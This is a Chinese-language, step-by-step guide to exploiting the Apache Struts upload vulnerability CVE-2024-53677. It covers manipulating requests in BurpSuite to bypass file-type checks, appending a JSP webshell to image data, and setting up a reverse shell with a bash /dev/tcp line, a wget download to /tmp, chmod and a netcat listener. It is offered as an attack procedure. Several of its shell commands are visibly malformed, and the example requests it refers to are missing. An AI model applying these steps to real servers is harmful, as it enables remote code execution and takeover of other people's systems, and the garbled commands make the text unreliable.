CVE-2024-53677-Exploitation

一步步指导如何利用Apache Struts CVE-2024-53677远程代码执行漏洞，通过文件上传操纵进行攻击，包括OGNL注入、有效载荷嵌入和反向Shell建立。

利用

修改文件上传请求

为利用此漏洞，我们使用 BurpSuite 及其 Repeater 功能在发送前修改数据包。下面是一个未修改的请求。

我们的问题是该站点阻止非 [JPG, JPEG, PNG, GIF] 的文件类型，并且 /uploads 目录中的任何文件都不可执行。为解决这些问题，我们首先添加另一个参数。

完成利用

添加修改后的参数后，服务器响应确认文件已成功上传。然而，我们注意到文件路径与通常的上传目录不同。

附加载荷

接下来，我们将载荷直接附加在图像数据下方、注入的参数之前。Shell 载荷可来源于 🔗 参考： shell.jsp
另外，一个关键细节是请求需要将 "Upload" 的首字母大写，而非小写的 "upload"。这遵循了以下利用结构中观察到的方式：🔗 参考： exploit.py

完成这些修改后，我们发送请求。服务器响应类似，确认上传成功并显示了调整后的文件路径。

导航到利用路径

现在，通过访问以下 URL，我们可以与上传的 Shell 进行交互。

在此阶段，我们可以使用本地托管的 Web 服务器建立反向 Shell。一种简单的方法是使用 Python：
python3 http.server -m 3004

接下来，创建一个基本的 Shell 脚本（如 shell.sh）
cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

使用 wget 下载它
wget http://ip_address/filename -O /tmp

下载后，赋予执行权限
chmod +777 /tmp/filename

然后使用 nc（netcat）监听反向 Shell。
nc -lvnp $PORT

最后执行
./filename